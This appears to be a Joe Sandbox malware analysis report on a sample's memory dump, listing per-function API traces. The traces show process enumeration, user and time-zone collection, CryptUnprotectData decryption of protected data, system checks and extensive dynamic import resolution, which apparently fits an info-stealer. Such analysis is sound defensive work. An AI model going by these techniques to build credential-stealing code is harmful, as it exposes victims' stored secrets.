Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9188908647da19fc49d841d28aa30d8c114befbed9eabefd97eae89eda06e241
Instruction ID: 96bb52b9f1af419bb6f9cd8c9345bad99b489cd1319eaaea218fe23800784ef5
Opcode Fuzzy Hash: 9188908647da19fc49d841d28aa30d8c114befbed9eabefd97eae89eda06e241
Instruction Fuzzy Hash: 52011EB5A14208EBDB14DFA5CD88BEDBBF8EB48304F104188AA0997250D739AF40DF51

Function 007B7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013FF400,00000000,?,007C0E10,00000000,?,00000000,00000000), ref: 007B7A63
RtlAllocateHeap.NTDLL(00000000), ref: 007B7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013FF400,00000000,?,007C0E10,00000000,?,00000000,00000000,?), ref: 007B7A7D
wsprintfA.USER32 ref: 007B7AB7

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d2646a63ab39e5989fe656c2e54ec7dcf9efac6f1fa976010908f9de4b056f58
Instruction ID: 921f3c1e82518e8b0af613507f3457f9801aabcc4c5226363488858e39d92552
Opcode Fuzzy Hash: d2646a63ab39e5989fe656c2e54ec7dcf9efac6f1fa976010908f9de4b056f58
Instruction Fuzzy Hash: AE1182B1949218DBDB208F54DC49F99BB78F744711F104399E506972D0D7786E40CF91

Function 007A9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007A9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 007A9BA3
LocalFree.KERNEL32(?), ref: 007A9BD3

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 8812378819c9796c5bc208cd33d5d69f00a4d2f42fbc4341013ef41c0a735440
Instruction ID: aee4b6934cdbb29bfd9d061eebd44fb109f6813bf8b4454f5775417a0bd07b6a
Opcode Fuzzy Hash: 8812378819c9796c5bc208cd33d5d69f00a4d2f42fbc4341013ef41c0a735440
Instruction Fuzzy Hash: 3211C9B8A00209EFDB04DF94D985AAEB7B5FF8D304F104598E915AB350D774AE50CFA1

Function 007B7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007A11B7), ref: 007B7880
RtlAllocateHeap.NTDLL(00000000), ref: 007B7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 007B789F

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 39e90c9500b2e794e06bf61a6710467233c67d1057ea86f7d718d7f89668add4
Instruction ID: c726b73c0a9b18ea6defd5cf798c2fe4773f85f7cfefa8ca60dbaf3f108528ed
Opcode Fuzzy Hash: 39e90c9500b2e794e06bf61a6710467233c67d1057ea86f7d718d7f89668add4
Instruction Fuzzy Hash: 96F044F1D48248ABC714DF94DD85BAEBBB8E704711F100159F605A2690C7796904CBA1

Function 007A1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 007A116A
ExitProcess.KERNEL32 ref: 007A117E

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: e5a0b985b0f19467876158bf637628f981d250481c60a3fa002db7a11f59d9bb
Instruction ID: 1042ddeef43cbefde97157eba4c819af2c5894d61b6e73aff9d8bf1ad8691762
Opcode Fuzzy Hash: e5a0b985b0f19467876158bf637628f981d250481c60a3fa002db7a11f59d9bb
Instruction Fuzzy Hash: 59D05E74D0430CDBCB00DFE0D8896DDBBB8FB08312F000654E90562350EA316881CAA6

Function 007B9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013E5320), ref: 007B9C2D
GetProcAddress.KERNEL32(75900000,013E52A0), ref: 007B9C45
GetProcAddress.KERNEL32(75900000,013F95A0), ref: 007B9C5E
GetProcAddress.KERNEL32(75900000,013F9618), ref: 007B9C76
GetProcAddress.KERNEL32(75900000,013FE2C8), ref: 007B9C8E
GetProcAddress.KERNEL32(75900000,013FE340), ref: 007B9CA7
GetProcAddress.KERNEL32(75900000,013EB670), ref: 007B9CBF
GetProcAddress.KERNEL32(75900000,013FE3E8), ref: 007B9CD7
GetProcAddress.KERNEL32(75900000,013FE1C0), ref: 007B9CF0
GetProcAddress.KERNEL32(75900000,013FE178), ref: 007B9D08
GetProcAddress.KERNEL32(75900000,013FE208), ref: 007B9D20
GetProcAddress.KERNEL32(75900000,013E51C0), ref: 007B9D39
GetProcAddress.KERNEL32(75900000,013E5280), ref: 007B9D51
GetProcAddress.KERNEL32(75900000,013E5380), ref: 007B9D69
GetProcAddress.KERNEL32(75900000,013E5340), ref: 007B9D82
GetProcAddress.KERNEL32(75900000,013FE238), ref: 007B9D9A
GetProcAddress.KERNEL32(75900000,013FE2E0), ref: 007B9DB2
GetProcAddress.KERNEL32(75900000,013EB800), ref: 007B9DCB
GetProcAddress.KERNEL32(75900000,013E54A0), ref: 007B9DE3
GetProcAddress.KERNEL32(75900000,013FE1F0), ref: 007B9DFB
GetProcAddress.KERNEL32(75900000,013FE190), ref: 007B9E14
GetProcAddress.KERNEL32(75900000,013FE3D0), ref: 007B9E2C
GetProcAddress.KERNEL32(75900000,013FE280), ref: 007B9E44
GetProcAddress.KERNEL32(75900000,013E53A0), ref: 007B9E5D
GetProcAddress.KERNEL32(75900000,013FE148), ref: 007B9E75
GetProcAddress.KERNEL32(75900000,013FE220), ref: 007B9E8D
GetProcAddress.KERNEL32(75900000,013FE400), ref: 007B9EA6
GetProcAddress.KERNEL32(75900000,013FE250), ref: 007B9EBE
GetProcAddress.KERNEL32(75900000,013FE160), ref: 007B9ED6
GetProcAddress.KERNEL32(75900000,013FE1A8), ref: 007B9EEF
GetProcAddress.KERNEL32(75900000,013FE358), ref: 007B9F07
GetProcAddress.KERNEL32(75900000,013FE2B0), ref: 007B9F1F
GetProcAddress.KERNEL32(75900000,013FE1D8), ref: 007B9F38
GetProcAddress.KERNEL32(75900000,013FB438), ref: 007B9F50
GetProcAddress.KERNEL32(75900000,013FE370), ref: 007B9F68
GetProcAddress.KERNEL32(75900000,013FE2F8), ref: 007B9F81
GetProcAddress.KERNEL32(75900000,013E53C0), ref: 007B9F99
GetProcAddress.KERNEL32(75900000,013FE310), ref: 007B9FB1
GetProcAddress.KERNEL32(75900000,013E5200), ref: 007B9FCA
GetProcAddress.KERNEL32(75900000,013FE268), ref: 007B9FE2
GetProcAddress.KERNEL32(75900000,013FE388), ref: 007B9FFA
GetProcAddress.KERNEL32(75900000,013E4E20), ref: 007BA013
GetProcAddress.KERNEL32(75900000,013E4EC0), ref: 007BA02B
LoadLibraryA.KERNEL32(013FE298,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA03D
LoadLibraryA.KERNEL32(013FE328,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA04E
LoadLibraryA.KERNEL32(013FE3A0,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA060
LoadLibraryA.KERNEL32(013FE3B8,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA072
LoadLibraryA.KERNEL32(013FE418,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA083
LoadLibraryA.KERNEL32(013FE430,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA095
LoadLibraryA.KERNEL32(013FE550,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA0A7
LoadLibraryA.KERNEL32(013FE5E0,?,007B5CA3,007C0AEB,?,?,?,?,?,?,?,?,?,?,007C0AEA,007C0AE3), ref: 007BA0B8
GetProcAddress.KERNEL32(75FD0000,013E5060), ref: 007BA0DA
GetProcAddress.KERNEL32(75FD0000,013FE448), ref: 007BA0F2
GetProcAddress.KERNEL32(75FD0000,013F9060), ref: 007BA10A
GetProcAddress.KERNEL32(75FD0000,013FE5B0), ref: 007BA123
GetProcAddress.KERNEL32(75FD0000,013E4FA0), ref: 007BA13B
GetProcAddress.KERNEL32(73B60000,013EB5A8), ref: 007BA160
GetProcAddress.KERNEL32(73B60000,013E4FC0), ref: 007BA179
GetProcAddress.KERNEL32(73B60000,013EB698), ref: 007BA191
GetProcAddress.KERNEL32(73B60000,013FE508), ref: 007BA1A9
GetProcAddress.KERNEL32(73B60000,013FE568), ref: 007BA1C2
GetProcAddress.KERNEL32(73B60000,013E5020), ref: 007BA1DA
GetProcAddress.KERNEL32(73B60000,013E50A0), ref: 007BA1F2
GetProcAddress.KERNEL32(73B60000,013FE460), ref: 007BA20B
GetProcAddress.KERNEL32(763B0000,013E5140), ref: 007BA22C
GetProcAddress.KERNEL32(763B0000,013E5100), ref: 007BA244
GetProcAddress.KERNEL32(763B0000,013FE4F0), ref: 007BA25D
GetProcAddress.KERNEL32(763B0000,013FE520), ref: 007BA275
GetProcAddress.KERNEL32(763B0000,013E4FE0), ref: 007BA28D
GetProcAddress.KERNEL32(750F0000,013EBA08), ref: 007BA2B3
GetProcAddress.KERNEL32(750F0000,013EB8F0), ref: 007BA2CB
GetProcAddress.KERNEL32(750F0000,013FE580), ref: 007BA2E3
GetProcAddress.KERNEL32(750F0000,013E5000), ref: 007BA2FC
GetProcAddress.KERNEL32(750F0000,013E5120), ref: 007BA314
GetProcAddress.KERNEL32(750F0000,013EB6C0), ref: 007BA32C
GetProcAddress.KERNEL32(75A50000,013FE478), ref: 007BA352
GetProcAddress.KERNEL32(75A50000,013E5040), ref: 007BA36A
GetProcAddress.KERNEL32(75A50000,013F8FD0), ref: 007BA382
GetProcAddress.KERNEL32(75A50000,013FE538), ref: 007BA39B
GetProcAddress.KERNEL32(75A50000,013FE490), ref: 007BA3B3
GetProcAddress.KERNEL32(75A50000,013E4F00), ref: 007BA3CB
GetProcAddress.KERNEL32(75A50000,013E4F80), ref: 007BA3E4
GetProcAddress.KERNEL32(75A50000,013FE598), ref: 007BA3FC
GetProcAddress.KERNEL32(75A50000,013FE5F8), ref: 007BA414
GetProcAddress.KERNEL32(75070000,013E4EA0), ref: 007BA436
GetProcAddress.KERNEL32(75070000,013FE5C8), ref: 007BA44E
GetProcAddress.KERNEL32(75070000,013FE4D8), ref: 007BA466
GetProcAddress.KERNEL32(75070000,013FE4A8), ref: 007BA47F
GetProcAddress.KERNEL32(75070000,013FE4C0), ref: 007BA497
GetProcAddress.KERNEL32(74E50000,013E4DA0), ref: 007BA4B8
GetProcAddress.KERNEL32(74E50000,013E4E60), ref: 007BA4D1
GetProcAddress.KERNEL32(75320000,013E4DC0), ref: 007BA4F2
GetProcAddress.KERNEL32(75320000,013FE028), ref: 007BA50A
GetProcAddress.KERNEL32(6F060000,013E5080), ref: 007BA530
GetProcAddress.KERNEL32(6F060000,013E50C0), ref: 007BA548
GetProcAddress.KERNEL32(6F060000,013E4E40), ref: 007BA560
GetProcAddress.KERNEL32(6F060000,013FE070), ref: 007BA579
GetProcAddress.KERNEL32(6F060000,013E50E0), ref: 007BA591
GetProcAddress.KERNEL32(6F060000,013E4EE0), ref: 007BA5A9
GetProcAddress.KERNEL32(6F060000,013E4E80), ref: 007BA5C2
GetProcAddress.KERNEL32(6F060000,013E4F20), ref: 007BA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 007BA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 007BA607
GetProcAddress.KERNEL32(74E00000,013FDFF8), ref: 007BA629
GetProcAddress.KERNEL32(74E00000,013F8FE0), ref: 007BA641
GetProcAddress.KERNEL32(74E00000,013FDEC0), ref: 007BA659
GetProcAddress.KERNEL32(74E00000,013FDFC8), ref: 007BA672
GetProcAddress.KERNEL32(74DF0000,013E5160), ref: 007BA693
GetProcAddress.KERNEL32(6FB90000,013FDEF0), ref: 007BA6B4
GetProcAddress.KERNEL32(6FB90000,013E5180), ref: 007BA6CD
GetProcAddress.KERNEL32(6FB90000,013FE130), ref: 007BA6E5
GetProcAddress.KERNEL32(6FB90000,013FDF80), ref: 007BA6FD

Strings

InternetSetOptionA, xrefs: 007BA5E5
HttpQueryInfoA, xrefs: 007BA5FC

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 6d2069dd3419e1607d7eafd31f5e478d03397192d65d3c66a5dfe2406264ec1b
Instruction ID: 1321417de514c32a0776b6318a69dc76ed8cff7a7754e8f7527b2efc4e7e7f7d
Opcode Fuzzy Hash: 6d2069dd3419e1607d7eafd31f5e478d03397192d65d3c66a5dfe2406264ec1b
Instruction Fuzzy Hash: CB622EB5928280AFC354DFA8EDC89563BF9F74C701715851AA609CB274D63ABC81FB12

Function 007A7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 007A7724
RtlAllocateHeap.NTDLL(00000000), ref: 007A772B
lstrcat.KERNEL32(?,013FADB8), ref: 007A78DB
lstrcat.KERNEL32(?,?), ref: 007A78EF
lstrcat.KERNEL32(?,?), ref: 007A7903
lstrcat.KERNEL32(?,?), ref: 007A7917
lstrcat.KERNEL32(?,013FF508), ref: 007A792B
lstrcat.KERNEL32(?,013FF5F8), ref: 007A793F
lstrcat.KERNEL32(?,013FF568), ref: 007A7952
lstrcat.KERNEL32(?,013FF628), ref: 007A7966
lstrcat.KERNEL32(?,013E8260), ref: 007A797A
lstrcat.KERNEL32(?,?), ref: 007A798E
lstrcat.KERNEL32(?,?), ref: 007A79A2
lstrcat.KERNEL32(?,?), ref: 007A79B6
